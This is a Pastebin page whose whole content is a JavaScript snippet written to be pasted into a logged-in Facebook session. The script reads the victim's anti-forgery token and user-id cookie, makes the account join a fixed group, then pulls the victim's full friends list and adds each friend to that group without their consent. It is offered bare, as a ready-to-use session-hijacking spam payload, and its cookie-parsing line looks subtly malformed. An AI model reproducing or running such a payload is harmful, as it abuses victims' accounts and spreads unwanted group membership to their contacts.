Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var gid = ['474528129381159'];
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var httpwp = new XMLHttpRequest();
- var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
- var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
- httpwp['open']('POST', urlwp, true);
- httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
- httpwp['setRequestHeader']('Content-length', paramswp['length']);
- httpwp['setRequestHeader']('Connection', 'keep-alive');
- httpwp['send'](paramswp);
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var friends = new Array();
- gf = new XMLHttpRequest();
- gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
- gf['send']();
- if (gf['readyState'] != 4) {} else {
- data = eval('(' + gf['responseText']['substr'](9) + ')');
- if (data['error']) {} else {
- friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
- return _0x93dax8['index'] - _0x93dax9['index'];
- });
- };
- };
- for (var i = 0; i < friends['length']; i++) {
- var httpwp = new XMLHttpRequest();
- var urlwp = '/ajax/groups/members/add_post.php?__a=1';
- var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
- httpwp['open']('POST', urlwp, true);
- httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
- httpwp['setRequestHeader']('Content-length', paramswp['length']);
- httpwp['setRequestHeader']('Connection', 'keep-alive');
- httpwp['onreadystatechange'] = function () {
- if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
- };
- httpwp['send'](paramswp);
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement